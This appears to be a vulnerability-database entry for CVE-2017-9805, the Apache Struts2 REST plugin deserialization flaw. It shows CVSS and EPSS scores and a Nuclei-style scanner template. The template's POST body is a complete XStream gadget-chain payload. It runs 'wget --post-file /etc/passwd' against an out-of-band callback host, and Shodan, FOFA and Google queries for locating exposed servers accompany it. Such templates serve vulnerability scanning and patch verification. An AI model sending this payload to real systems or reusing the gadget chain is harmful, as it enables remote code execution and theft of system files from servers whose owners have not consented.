6.8 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
8.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
8.5 High
AI Score
Confidence
High
0.975 High
EPSS
Percentile
100.0%
The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type of filtering, which can lead to remote code execution when deserializing XML payloads.
id: CVE-2017-9805
info:
name: Apache Struts2 S2-052 - Remote Code Execution
author: pikpikcu
severity: high
description: The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type of filtering, which can lead to remote code execution when deserializing XML payloads.
impact: |
Remote code execution
remediation: |
Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts2.
reference:
- http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html
- https://struts.apache.org/docs/s2-052.html
- https://nvd.nist.gov/vuln/detail/CVE-2017-9805
- http://www.securitytracker.com/id/1039263
- https://blogs.apache.org/foundation/entry/apache-struts-statement-on-equifax
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2017-9805
cwe-id: CWE-502
epss-score: 0.97541
epss-percentile: 0.99994
cpe: cpe:2.3:a:apache:struts:2.1.2:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: apache
product: struts
shodan-query:
- http.html:"apache struts"
- http.title:"struts2 showcase"
- http.html:"struts problem report"
fofa-query:
- body="struts problem report"
- title="struts2 showcase"
- body="apache struts"
google-query: intitle:"struts2 showcase"
tags: cve,cve2017,apache,rce,struts,kev
http:
- method: POST
path:
- "{{BaseURL}}/struts2-rest-showcase/orders/3"
- "{{BaseURL}}/orders/3"
body: |
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>wget</string>
<string>--post-file</string>
<string>/etc/passwd</string>
<string>{{interactsh-url}}</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>asdasd</name>
</filter>
<next class="string">asdasd</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
headers:
Content-Type: application/xml
matchers-condition: and
matchers:
- type: word
words:
- "Debugging information"
- "com.thoughtworks.xstream.converters.collections.MapConverter"
condition: and
- type: status
status:
- 500
# digest: 4a0a00473045022100bc5b27f8220ef07fafc0bfb8cb6b3da91db3cd7a60b59c5bc1c4a435b156d580022041740751cdbae48cd39a4854884b7229472bcc58b4eb972ba699f82a9bbd627d:922c64590222798bb761d5b6d8e72950
6.8 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
8.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
8.5 High
AI Score
Confidence
High
0.975 High
EPSS
Percentile
100.0%